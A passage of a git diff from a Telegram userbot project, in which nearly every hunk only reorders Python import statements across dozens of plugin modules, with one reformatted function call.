virtualuserbot.client.edit_permissions(i, user, send_messages=True) + await virtualuserbot.client.edit_permissions( + i, user, send_messages=True + ) a += 1 await friday.edit(f"**UNGBANNING // AFFECTED CHATS - {a} **") except: diff --git a/virtualuserbot/modules/hack.py b/virtualuserbot/modules/hack.py index 03e3338c..11a3b386 100644 --- a/virtualuserbot/modules/hack.py +++ b/virtualuserbot/modules/hack.py @@ -5,10 +5,11 @@ import asyncio -from virtualuserbot import CMD_HELP from telethon.tl.functions.users import GetFullUserRequest from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern=r"hack")) async def _(event): diff --git a/virtualuserbot/modules/hash.py b/virtualuserbot/modules/hash.py index 352b0b78..e0a44072 100644 --- a/virtualuserbot/modules/hash.py +++ b/virtualuserbot/modules/hash.py @@ -9,6 +9,7 @@ from subprocess import run as runapp import pybase64 + from virtualuserbot import CMD_HELP from virtualuserbot.events import errors_handler, register diff --git a/virtualuserbot/modules/heroku.py b/virtualuserbot/modules/heroku.py index 27c44b09..e97a4d3c 100644 --- a/virtualuserbot/modules/heroku.py +++ b/virtualuserbot/modules/heroku.py @@ -10,9 +10,10 @@ import heroku3 import requests +from telegraph import Telegraph + from virtualuserbot import CMD_HELP from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd -from telegraph import Telegraph telegraph = Telegraph() tgnoob = telegraph.create_account(short_name="Friday 🇮🇳") diff --git a/virtualuserbot/modules/heroku_help.py b/virtualuserbot/modules/heroku_help.py index e9710821..12debea3 100644 --- a/virtualuserbot/modules/heroku_help.py +++ b/virtualuserbot/modules/heroku_help.py @@ -4,6 +4,7 @@ import heroku3 import requests + from virtualuserbot.function.heroku_helper import HerokuHelper from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd diff --git a/virtualuserbot/modules/hotstar.py b/virtualuserbot/modules/hotstar.py index ce7bf763..5a9bbb5b 100644 --- a/virtualuserbot/modules/hotstar.py +++ b/virtualuserbot/modules/hotstar.py @@ -1,6 +1,7 @@ import json import requests + from virtualuserbot.utils import friday_on_cmd url = "https://api.hotstar.com/in/aadhar/v2/web/in/user/login" diff --git a/virtualuserbot/modules/howtogoogle.py b/virtualuserbot/modules/howtogoogle.py index 0688111c..5182fadb 100644 --- a/virtualuserbot/modules/howtogoogle.py +++ b/virtualuserbot/modules/howtogoogle.py @@ -6,6 +6,7 @@ """ import requests + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd diff --git a/virtualuserbot/modules/iffuci.py b/virtualuserbot/modules/iffuci.py index 6a372025..24463fc9 100644 --- a/virtualuserbot/modules/iffuci.py +++ b/virtualuserbot/modules/iffuci.py @@ -5,6 +5,7 @@ from datetime import datetime import requests + from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd diff --git a/virtualuserbot/modules/ifsc.py b/virtualuserbot/modules/ifsc.py index 5dc8456f..d42246dd 100644 --- a/virtualuserbot/modules/ifsc.py +++ b/virtualuserbot/modules/ifsc.py @@ -12,9 +12,10 @@ # along with this program. If not, see . import requests -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern="ifsc (.*)")) async def _(event): diff --git a/virtualuserbot/modules/imageenc.py b/virtualuserbot/modules/imageenc.py index c769a11e..46d43f0f 100644 --- a/virtualuserbot/modules/imageenc.py +++ b/virtualuserbot/modules/imageenc.py @@ -6,6 +6,7 @@ import os import requests + from virtualuserbot import ALIVE_NAME, CMD_HELP from virtualuserbot import bot from virtualuserbot import bot as borg diff --git a/virtualuserbot/modules/imagefun.py b/virtualuserbot/modules/imagefun.py index da9df719..b0576d1a 100644 --- a/virtualuserbot/modules/imagefun.py +++ b/virtualuserbot/modules/imagefun.py @@ -12,11 +12,12 @@ import cv2 import numpy as np import requests -from virtualuserbot import CMD_HELP, bot -from virtualuserbot.utils import admin_cmd from PIL import Image, ImageDraw from telegraph import upload_file +from virtualuserbot import CMD_HELP, bot +from virtualuserbot.utils import admin_cmd + path = "./dcobra/" if not os.path.isdir(path): os.makedirs(path) diff --git a/virtualuserbot/modules/imagefun2.py b/virtualuserbot/modules/imagefun2.py index 8cb061f3..33a7968b 100644 --- a/virtualuserbot/modules/imagefun2.py +++ b/virtualuserbot/modules/imagefun2.py @@ -8,9 +8,10 @@ import cv2 import requests -from virtualuserbot import bot from telegraph import upload_file +from virtualuserbot import bot + from ..utils import admin_cmd path = "./dcobra/" diff --git a/virtualuserbot/modules/imagefun3.py b/virtualuserbot/modules/imagefun3.py index eb153b5f..5f311bab 100644 --- a/virtualuserbot/modules/imagefun3.py +++ b/virtualuserbot/modules/imagefun3.py @@ -11,9 +11,10 @@ import cv2 import numpy as np -from virtualuserbot import CMD_HELP, bot from PIL import Image +from virtualuserbot import CMD_HELP, bot + from ..utils import admin_cmd path = "./dcobra/" diff --git a/virtualuserbot/modules/imagefun4.py b/virtualuserbot/modules/imagefun4.py index 0a69f838..641d8df4 100644 --- a/virtualuserbot/modules/imagefun4.py +++ b/virtualuserbot/modules/imagefun4.py @@ -8,9 +8,10 @@ import os import cv2 -from virtualuserbot import bot from PIL import Image +from virtualuserbot import bot + from ..utils import admin_cmd # Now Gifs nd Stickers also Support diff --git a/virtualuserbot/modules/imagetools.py b/virtualuserbot/modules/imagetools.py index 1e74d69c..71a87be1 100644 --- a/virtualuserbot/modules/imagetools.py +++ b/virtualuserbot/modules/imagetools.py @@ -19,13 +19,14 @@ import cv2 import numpy as np import requests -from virtualuserbot import CMD_HELP -from virtualuserbot.function import convert_to_image, crop_vid, runcmd -from virtualuserbot.utils import friday_on_cmd, sudo_cmd from PIL import Image, ImageDraw, ImageFont from telegraph import upload_file from telethon.tl.functions.users import GetFullUserRequest +from virtualuserbot import CMD_HELP +from virtualuserbot.function import convert_to_image, crop_vid, runcmd +from virtualuserbot.utils import friday_on_cmd, sudo_cmd + sedpath = "./starkgangz/" if not os.path.isdir(sedpath): os.makedirs(sedpath) diff --git a/virtualuserbot/modules/imdb.py b/virtualuserbot/modules/imdb.py index d4850b66..cd99496d 100644 --- a/virtualuserbot/modules/imdb.py +++ b/virtualuserbot/modules/imdb.py @@ -10,9 +10,10 @@ import bs4 import requests -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + langi = "en" # kanged from Blank-x ;---; diff --git a/virtualuserbot/modules/information.py b/virtualuserbot/modules/information.py index 62c2d4f9..58991339 100644 --- a/virtualuserbot/modules/information.py +++ b/virtualuserbot/modules/information.py @@ -1,12 +1,13 @@ import html -from virtualuserbot import CMD_HELP, sclient -from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from telethon.tl.functions.photos import GetUserPhotosRequest from telethon.tl.functions.users import GetFullUserRequest from telethon.tl.types import MessageEntityMentionName from telethon.utils import get_input_location +from virtualuserbot import CMD_HELP, sclient +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd + @friday.on(friday_on_cmd("info ?(.*)")) @friday.on(sudo_cmd("info ?(.*)", allow_sudo=True)) diff --git a/virtualuserbot/modules/inline_fun.py b/virtualuserbot/modules/inline_fun.py index b21cec22..74c98d45 100644 --- a/virtualuserbot/modules/inline_fun.py +++ b/virtualuserbot/modules/inline_fun.py @@ -1,8 +1,7 @@ +from var import Var from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd -from var import Var - @friday.on(friday_on_cmd(pattern="stat$")) async def stats(event): diff --git a/virtualuserbot/modules/instant_install_ext_module.py b/virtualuserbot/modules/instant_install_ext_module.py index f249cc06..cc366603 100644 --- a/virtualuserbot/modules/instant_install_ext_module.py +++ b/virtualuserbot/modules/instant_install_ext_module.py @@ -15,10 +15,10 @@ import os from pathlib import Path -from virtualuserbot.utils import command, load_module from telethon.tl.types import InputMessagesFilterDocument from var import Var +from virtualuserbot.utils import command, load_module @command(pattern="^.extdl", outgoing=True) diff --git a/virtualuserbot/modules/iplookup.py b/virtualuserbot/modules/iplookup.py index 2358743c..8f5549e5 100644 --- a/virtualuserbot/modules/iplookup.py +++ b/virtualuserbot/modules/iplookup.py @@ -15,9 +15,10 @@ import json import urllib.request -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern="iplookup (.*)")) async def _(event): diff --git a/virtualuserbot/modules/jainder.py b/virtualuserbot/modules/jainder.py index 48026024..bf6aa6cb 100644 --- a/virtualuserbot/modules/jainder.py +++ b/virtualuserbot/modules/jainder.py @@ -3,9 +3,10 @@ import random -from virtualuserbot import CMD_HELP from telethon import events +from virtualuserbot import CMD_HELP + @friday.on(events.NewMessage(pattern=r"\.jainder(.*)", outgoing=True)) async def _(event): diff --git a/virtualuserbot/modules/jio.py b/virtualuserbot/modules/jio.py index 8f5df458..b49e232f 100644 --- a/virtualuserbot/modules/jio.py +++ b/virtualuserbot/modules/jio.py @@ -8,9 +8,10 @@ import asyncio -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern=r"jio")) async def _(event): diff --git a/virtualuserbot/modules/lastfm.py b/virtualuserbot/modules/lastfm.py index 819455bc..88eb14d0 100644 --- a/virtualuserbot/modules/lastfm.py +++ b/virtualuserbot/modules/lastfm.py @@ -4,6 +4,12 @@ from sys import setrecursionlimit from urllib import parse +from pylast import User, WSError +from telethon.errors import AboutTooLongError +from telethon.errors.rpcerrorlist import FloodWaitError +from telethon.tl.functions.account import UpdateProfileRequest +from telethon.tl.functions.users import GetFullUserRequest + from virtualuserbot import ( BIO_PREFIX, BOTLOG, @@ -15,11 +21,6 @@ lastfm, ) from virtualuserbot.events import register -from pylast import User, WSError -from telethon.errors import AboutTooLongError -from telethon.errors.rpcerrorlist import FloodWaitError -from telethon.tl.functions.account import UpdateProfileRequest -from telethon.tl.functions.users import GetFullUserRequest # =================== CONSTANT =================== LFM_BIO_ENABLED = "```last.fm current music to bio is now enabled.```" diff --git a/virtualuserbot/modules/listmyusernames.py b/virtualuserbot/modules/listmyusernames.py index 9d3cb1eb..e6eaf56e 100644 --- a/virtualuserbot/modules/listmyusernames.py +++ b/virtualuserbot/modules/listmyusernames.py @@ -1,10 +1,11 @@ # For @UniBorg # (c) Shrimadhav U K -from virtualuserbot import CMD_HELP from telethon.tl.functions.channels import GetAdminedPublicChannelsRequest from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd("listmyusernames")) async def mine(event): diff --git a/virtualuserbot/modules/locks.py b/virtualuserbot/modules/locks.py index 66fb105f..b0f8db1b 100644 --- a/virtualuserbot/modules/locks.py +++ b/virtualuserbot/modules/locks.py @@ -3,10 +3,15 @@ API Options: msg, media, sticker, gif, gamee, ainline, gpoll, adduser, cpin, changeinfo DB Options: bots, commands, email, forward, url""" -from virtualuserbot.modules.sql_helper.locks_sql import get_locks, is_locked, update_lock -from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from telethon import events, functions, types +from virtualuserbot.modules.sql_helper.locks_sql import ( + get_locks, + is_locked, + update_lock, +) +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd + @friday.on(friday_on_cmd("lock( (?P\S+)|$)")) @friday.on(sudo_cmd("lock( (?P\S+)|$)", allow_sudo=True)) diff --git a/virtualuserbot/modules/lol.py b/virtualuserbot/modules/lol.py index 65d07d1a..65fd4c09 100644 --- a/virtualuserbot/modules/lol.py +++ b/virtualuserbot/modules/lol.py @@ -7,9 +7,10 @@ import asyncio import random -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern=r"lol")) async def _(event): diff --git a/virtualuserbot/modules/lucky.py b/virtualuserbot/modules/lucky.py index 3639c903..6ad4b8e0 100644 --- a/virtualuserbot/modules/lucky.py +++ b/virtualuserbot/modules/lucky.py @@ -8,9 +8,10 @@ import asyncio -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern="lucky")) async def _(event): diff --git a/virtualuserbot/modules/lydiaai2.py b/virtualuserbot/modules/lydiaai2.py index fe9584d1..5df72697 100644 --- a/virtualuserbot/modules/lydiaai2.py +++ b/virtualuserbot/modules/lydiaai2.py @@ -5,8 +5,14 @@ from coffeehouse.api import API from coffeehouse.lydia import LydiaAI + from virtualuserbot import BOTLOG, BOTLOG_CHATID, CMD_HELP -from virtualuserbot.modules.sql_helper.lydia_ai_sql import add_s, get_all_s, get_s, remove_s +from virtualuserbot.modules.sql_helper.lydia_ai_sql import ( + add_s, + get_all_s, + get_s, + remove_s, +) from ..utils import admin_cmd, edit_or_reply, sudo_cmd diff --git a/virtualuserbot/modules/lyric.py b/virtualuserbot/modules/lyric.py index 30b5a465..25bd82f7 100644 --- a/virtualuserbot/modules/lyric.py +++ b/virtualuserbot/modules/lyric.py @@ -3,9 +3,10 @@ import os import lyricsgenius +from tswift import Song + from virtualuserbot import CMD_HELP from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd -from tswift import Song GENIUS = os.environ.get("GENIUS_API_TOKEN", None) diff --git a/virtualuserbot/modules/mashup.py b/virtualuserbot/modules/mashup.py index 9f440755..c82edec8 100644 --- a/virtualuserbot/modules/mashup.py +++ b/virtualuserbot/modules/mashup.py @@ -3,11 +3,12 @@ video meme mashup: Syntax: .mashup """ -from virtualuserbot import CMD_HELP from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern="mashup ?(.*)")) async def _(event): diff --git a/virtualuserbot/modules/mask.py b/virtualuserbot/modules/mask.py index 59a8cae9..b6c01d46 100644 --- a/virtualuserbot/modules/mask.py +++ b/virtualuserbot/modules/mask.py @@ -1,8 +1,9 @@ -from virtualuserbot import CMD_HELP from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd("mask ?(.*)")) async def _(event): diff --git a/virtualuserbot/modules/mediadata.py b/virtualuserbot/modules/mediadata.py index 44ae003d..f5794575 100644 --- a/virtualuserbot/modules/mediadata.py +++ b/virtualuserbot/modules/mediadata.py @@ -6,10 +6,11 @@ import shlex from typing import Tuple +from telegraph import Telegraph + from virtualuserbot import CMD_HELP from virtualuserbot.Configs import Config from virtualuserbot.utils import friday_on_cmd -from telegraph import Telegraph telegraph = Telegraph() tgnoob = telegraph.create_account(short_name="Friday 🇮🇳") diff --git a/virtualuserbot/modules/memes.py b/virtualuserbot/modules/memes.py index 2891191d..c40d2513 100644 --- a/virtualuserbot/modules/memes.py +++ b/virtualuserbot/modules/memes.py @@ -18,13 +18,14 @@ import requests from cowpy import cow -from virtualuserbot import CMD_HELP -from virtualuserbot.utils import register from telethon import events from telethon.tl.functions.users import GetFullUserRequest from telethon.tl.types import MessageEntityMentionName from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import register + # ================= CONSTANT ================= RENDISTR = [ "`I Know Uh ez Rendi Bhay Dont show Your Randi Pesa Here`", diff --git a/virtualuserbot/modules/memify.py b/virtualuserbot/modules/memify.py index b9f355d6..391759a6 100644 --- a/virtualuserbot/modules/memify.py +++ b/virtualuserbot/modules/memify.py @@ -5,11 +5,12 @@ import asyncio -from virtualuserbot import CMD_HELP from telethon.errors.rpcerrorlist import YouBlockedUserError from telethon.tl.types import MessageMediaPhoto from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + thumb_image_path = Config.TMP_DOWNLOAD_DIRECTORY + "/thumb_image.jpg" diff --git a/virtualuserbot/modules/mf.py b/virtualuserbot/modules/mf.py index 83f2534a..97215b74 100644 --- a/virtualuserbot/modules/mf.py +++ b/virtualuserbot/modules/mf.py @@ -1,8 +1,9 @@ import sys +from telethon import __version__, functions + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd -from telethon import __version__, functions @friday.on(friday_on_cmd(pattern="mf ?(.*)", allow_sudo=True)) # pylint:disable=E0602 diff --git a/virtualuserbot/modules/mmf.py b/virtualuserbot/modules/mmf.py index 1bf28df3..af8fbfb5 100644 --- a/virtualuserbot/modules/mmf.py +++ b/virtualuserbot/modules/mmf.py @@ -14,10 +14,11 @@ import os import textwrap -from virtualuserbot.utils import friday_on_cmd from PIL import Image, ImageDraw, ImageFont from telethon.tl.types import MessageMediaPhoto +from virtualuserbot.utils import friday_on_cmd + sedpath = Config.TMP_DOWNLOAD_DIRECTORY diff --git a/virtualuserbot/modules/movie_recomendation.py b/virtualuserbot/modules/movie_recomendation.py index 88fbce2c..6a02689b 100644 --- a/virtualuserbot/modules/movie_recomendation.py +++ b/virtualuserbot/modules/movie_recomendation.py @@ -2,6 +2,7 @@ import requests as HTTP from bs4 import BeautifulSoup as SOUP + from virtualuserbot import CMD_HELP from virtualuserbot.utils import admin_cmd diff --git a/virtualuserbot/modules/mtn.py b/virtualuserbot/modules/mtn.py index 41dd12b1..7f243cf4 100644 --- a/virtualuserbot/modules/mtn.py +++ b/virtualuserbot/modules/mtn.py @@ -7,9 +7,10 @@ import asyncio -from virtualuserbot import CMD_HELP from telethon import events +from virtualuserbot import CMD_HELP + @friday.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) async def _(event): diff --git a/virtualuserbot/modules/musicdl.py b/virtualuserbot/modules/musicdl.py index dd97b8b9..91a4a26a 100644 --- a/virtualuserbot/modules/musicdl.py +++ b/virtualuserbot/modules/musicdl.py @@ -1,14 +1,15 @@ """ Spotify / Deezer downloader plugin by @anubisxx | Syntax: .sdd link""" import asyncio -from virtualuserbot import CMD_HELP -from virtualuserbot.utils import friday_on_cmd from telethon.errors.rpcerrorlist import ( UserAlreadyParticipantError, YouBlockedUserError, ) from telethon.tl.functions.messages import ImportChatInviteRequest +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd + @friday.on(friday_on_cmd("sdd ?(.*)")) async def _(event): diff --git a/virtualuserbot/modules/muth.py b/virtualuserbot/modules/muth.py index 3f2025f5..0d766059 100644 --- a/virtualuserbot/modules/muth.py +++ b/virtualuserbot/modules/muth.py @@ -4,9 +4,10 @@ import asyncio -from virtualuserbot import CMD_HELP from telethon import events +from virtualuserbot import CMD_HELP + @friday.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) async def _(event): diff --git a/virtualuserbot/modules/nakal.py b/virtualuserbot/modules/nakal.py index 31e0a77d..8b2c209a 100644 --- a/virtualuserbot/modules/nakal.py +++ b/virtualuserbot/modules/nakal.py @@ -12,9 +12,10 @@ import asyncio -from virtualuserbot import CMD_HELP from telethon import events +from virtualuserbot import CMD_HELP + @friday.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) async def _(event): diff --git a/virtualuserbot/modules/nekobot.py b/virtualuserbot/modules/nekobot.py index 96dbd422..a9a44899 100644 --- a/virtualuserbot/modules/nekobot.py +++ b/virtualuserbot/modules/nekobot.py @@ -3,9 +3,10 @@ # Official Web : nekobot.xyz # "Copy It As You Want But Don't Edit Credits" import requests -from virtualuserbot import CMD_HELP from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd("ttt ?(.*)")) @friday.on(sudo_cmd("ttt ?(.*)", allow_sudo=True)) diff --git a/virtualuserbot/modules/news.py b/virtualuserbot/modules/news.py index 19fe38ca..db9d62ab 100644 --- a/virtualuserbot/modules/news.py +++ b/virtualuserbot/modules/news.py @@ -4,10 +4,10 @@ # Test import requests -from virtualuserbot import CMD_HELP -from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd from var import Var +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd newslog = Var.NEWS_CHANNEL_ID diff --git a/virtualuserbot/modules/nsfw.py b/virtualuserbot/modules/nsfw.py index 61c78086..6c0bd65f 100644 --- a/virtualuserbot/modules/nsfw.py +++ b/virtualuserbot/modules/nsfw.py @@ -13,12 +13,13 @@ import os import requests -from virtualuserbot import CMD_HELP, pro -from virtualuserbot.utils import admin_cmd, friday_on_cmd, sudo_cmd from pornhub_api import PornhubApi from telethon.tl.types import MessageMediaPhoto from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP, pro +from virtualuserbot.utils import admin_cmd, friday_on_cmd, sudo_cmd + if pro == "True": @friday.on(friday_on_cmd(pattern=r"nsfw")) diff --git a/virtualuserbot/modules/nsfwdetect.py b/virtualuserbot/modules/nsfwdetect.py index 40b66eb7..0bf9b5dd 100644 --- a/virtualuserbot/modules/nsfwdetect.py +++ b/virtualuserbot/modules/nsfwdetect.py @@ -4,6 +4,7 @@ import os import requests + from virtualuserbot import CMD_HELP from ..utils import admin_cmd, sudo_cmd diff --git a/virtualuserbot/modules/ocr.py b/virtualuserbot/modules/ocr.py index 86c94497..f837760e 100644 --- a/virtualuserbot/modules/ocr.py +++ b/virtualuserbot/modules/ocr.py @@ -6,6 +6,7 @@ import os import requests + from virtualuserbot import CMD_HELP, OCR_SPACE_API_KEY, TEMP_DOWNLOAD_DIRECTORY, bot from virtualuserbot.utils import register diff --git a/virtualuserbot/modules/os.py b/virtualuserbot/modules/os.py index db11fdd6..369298a2 100644 --- a/virtualuserbot/modules/os.py +++ b/virtualuserbot/modules/os.py @@ -12,9 +12,10 @@ import asyncio -from virtualuserbot import CMD_HELP from telethon import events +from virtualuserbot import CMD_HELP + @friday.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) async def _(event): diff --git a/virtualuserbot/modules/owm.py b/virtualuserbot/modules/owm.py index 68d960d9..e21cc697 100644 --- a/virtualuserbot/modules/owm.py +++ b/virtualuserbot/modules/owm.py @@ -9,13 +9,14 @@ from datetime import datetime import requests -from virtualuserbot import CMD_HELP -from virtualuserbot import OPEN_WEATHER_MAP_APPID as OWM_API -from virtualuserbot.events import errors_handler, register from pytz import country_names as c_n from pytz import country_timezones as c_tz from pytz import timezone as tz +from virtualuserbot import CMD_HELP +from virtualuserbot import OPEN_WEATHER_MAP_APPID as OWM_API +from virtualuserbot.events import errors_handler, register + # ===== CONSTANT ===== DEFCITY = "Ahmedabad" diff --git a/virtualuserbot/modules/padmin.py b/virtualuserbot/modules/padmin.py index c01fa3df..99e5a0cc 100644 --- a/virtualuserbot/modules/padmin.py +++ b/virtualuserbot/modules/padmin.py @@ -6,9 +6,10 @@ import asyncio -from virtualuserbot import CMD_HELP from telethon import events +from virtualuserbot import CMD_HELP + @friday.on(events.NewMessage(pattern=r"\.(.*)", outgoing=True)) async def _(event): diff --git a/virtualuserbot/modules/password_tools.py b/virtualuserbot/modules/password_tools.py index fda63bfa..49a62ecd 100644 --- a/virtualuserbot/modules/password_tools.py +++ b/virtualuserbot/modules/password_tools.py @@ -15,11 +15,12 @@ import secrets from random import * -from virtualuserbot import CMD_HELP -from virtualuserbot.utils import admin_cmd from password_strength import PasswordStats from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd + @friday.on(admin_cmd(pattern="passcheck (.*)")) async def _(event): diff --git a/virtualuserbot/modules/paste.py b/virtualuserbot/modules/paste.py index 2d21922c..679c692e 100644 --- a/virtualuserbot/modules/paste.py +++ b/virtualuserbot/modules/paste.py @@ -6,9 +6,10 @@ from datetime import datetime import requests -from virtualuserbot import CMD_HELP from uniborg.util import friday_on_cmd, sudo_cmd +from virtualuserbot import CMD_HELP + logging.basicConfig( format="[%(levelname) 5s/%(asctime)s] %(name)s: %(message)s", level=logging.WARNING ) diff --git a/virtualuserbot/modules/pdf2docx.py b/virtualuserbot/modules/pdf2docx.py index e1c58b75..b2a76320 100644 --- a/virtualuserbot/modules/pdf2docx.py +++ b/virtualuserbot/modules/pdf2docx.py @@ -1,8 +1,9 @@ import os +from pdf2docx import parse + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd -from pdf2docx import parse if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY) diff --git a/virtualuserbot/modules/pin_message.py b/virtualuserbot/modules/pin_message.py index e8fee6d0..f2d4c956 100644 --- a/virtualuserbot/modules/pin_message.py +++ b/virtualuserbot/modules/pin_message.py @@ -1,8 +1,9 @@ """Pins the replied message Syntax: .cpin [LOUD]""" +from telethon.tl import functions + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd -from telethon.tl import functions @friday.on(friday_on_cmd("cpin ?(.*)")) diff --git a/virtualuserbot/modules/plane.py b/virtualuserbot/modules/plane.py index da69b85b..9cc54767 100644 --- a/virtualuserbot/modules/plane.py +++ b/virtualuserbot/modules/plane.py @@ -1,9 +1,10 @@ # By STARKTM1 import asyncio -from virtualuserbot import CMD_HELP from telethon import events +from virtualuserbot import CMD_HELP + @friday.on(events.NewMessage(pattern=r"\.plane", outgoing=True)) async def _(event): diff --git a/virtualuserbot/modules/pmpermit.py b/virtualuserbot/modules/pmpermit.py index f0c2f692..eb3cefac 100644 --- a/virtualuserbot/modules/pmpermit.py +++ b/virtualuserbot/modules/pmpermit.py @@ -2,11 +2,12 @@ import io import os +from telethon import events, functions +from telethon.tl.functions.users import GetFullUserRequest + from virtualuserbot import ALIVE_NAME, CUSTOM_PMPERMIT, lang from virtualuserbot.Configs import Config from virtualuserbot.utils import friday_on_cmd -from telethon import events, functions -from telethon.tl.functions.users import GetFullUserRequest from .sql_helper import pmpermit_sql as pmpermit_sql diff --git a/virtualuserbot/modules/pokedex.py b/virtualuserbot/modules/pokedex.py index 122a2b9b..75e07ae9 100644 --- a/virtualuserbot/modules/pokedex.py +++ b/virtualuserbot/modules/pokedex.py @@ -11,9 +11,10 @@ # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see . +from pokedex import pokedex + from virtualuserbot import CMD_HELP from virtualuserbot.utils import admin_cmd -from pokedex import pokedex @friday.on(admin_cmd(pattern="pokedex (.*)")) diff --git a/virtualuserbot/modules/police.py b/virtualuserbot/modules/police.py index 26a17694..2c81f6e7 100644 --- a/virtualuserbot/modules/police.py +++ b/virtualuserbot/modules/police.py @@ -1,8 +1,9 @@ import asyncio -from virtualuserbot import ALIVE_NAME, CMD_HELP from uniborg.util import friday_on_cmd +from virtualuserbot import ALIVE_NAME, CMD_HELP + DEFAULTUSER = str(ALIVE_NAME) if ALIVE_NAME else "Friday Userbot" diff --git a/virtualuserbot/modules/privatewelcome.py b/virtualuserbot/modules/privatewelcome.py index 5c86bbdb..aabb87cf 100644 --- a/virtualuserbot/modules/privatewelcome.py +++ b/virtualuserbot/modules/privatewelcome.py @@ -1,6 +1,7 @@ -from virtualuserbot import BOTLOG_CHATID, CMD_HELP, bot, pro from telethon import events +from virtualuserbot import BOTLOG_CHATID, CMD_HELP, bot, pro + from ..utils import admin_cmd, edit_or_reply, sudo_cmd from .sql_helper import pmpermit_sql as pmpermit_sql from .sql_helper.welcomesql import ( diff --git a/virtualuserbot/modules/profile.py b/virtualuserbot/modules/profile.py index 6889c4db..e34f3f8b 100644 --- a/virtualuserbot/modules/profile.py +++ b/virtualuserbot/modules/profile.py @@ -4,10 +4,11 @@ .ppic""" import os -from virtualuserbot import CMD_HELP from telethon.tl import functions from uniborg.util import friday_on_cmd +from virtualuserbot import CMD_HELP + @friday.on(friday_on_cmd(pattern="pbio (.*)")) # pylint:disable=E0602 async def _(event): diff --git a/virtualuserbot/modules/programmer_jokes.py b/virtualuserbot/modules/programmer_jokes.py index 45c6a730..78039e6a 100644 --- a/virtualuserbot/modules/programmer_jokes.py +++ b/virtualuserbot/modules/programmer_jokes.py @@ -12,9 +12,10 @@ # along with this program. If not, see . import pyjokes +from howdoi import howdoi + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd -from howdoi import howdoi @friday.on(friday_on_cmd(pattern=r"pjoke")) diff --git a/virtualuserbot/modules/proxyscrape.py b/virtualuserbot/modules/proxyscrape.py index 0c2d6a80..6daa0d55 100644 --- a/virtualuserbot/modules/proxyscrape.py +++ b/virtualuserbot/modules/proxyscrape.py @@ -6,9 +6,10 @@ import os +from pySmartDL import SmartDL + from virtualuserbot import CMD_HELP from virtualuserbot.utils import friday_on_cmd, sudo_cmd -from pySmartDL import SmartDL STARK_HTTP = "https://api.proxyscrape.com/?request=getproxies&proxytype=http&timeout=10000&country=all&ssl=all&anonymity=all" HTTP_TXT = "**Proxy Info** \nType: __HTTPS__ \nTimeOut: __10000__ \nCountry: __All__ \nSsl: All \nAnonymity: __All__ \n[Click Here To View Or Download File Manually](https://api.proxyscrape.com/?request=getproxies&proxytype=http&timeout=10000&country=all&ssl=all&anonymity=all) \nUploaded By [Friday](https://github.com/starkgang/FridayUserBot) \n**Here Is Your Proxy** 👇" diff --git a/virtualuserbot/modules/purge.py b/virtualuserbot/modules/purge.py index 0cbc79f7..56527d89 100644 --- a/virtualuserbot/modules/purge.py +++ b/virtualuserbot/modules/purge.py @@ -7,9 +7,10 @@ from asyncio import sleep +from telethon.errors import rpcbaseerrors + from virtualuserbot import BOTLOG, BOTLOG_CHATID, CMD_HELP from virtualuserbot.utils import errors_handler, register -from telethon.errors import rpcbaseerrors @register(outgoing=True, pattern="^.purge$") diff --git a/virtualuserbot/modules/pyocr.py b/virtualuserbot/modules/pyocr.py index 4e7da6a4..3500d09a 100644 --- a/virtualuserbot/modules/pyocr.py +++ b/virtualuserbot/modules/pyocr.py @@ -6,6 +6,7 @@ import os import 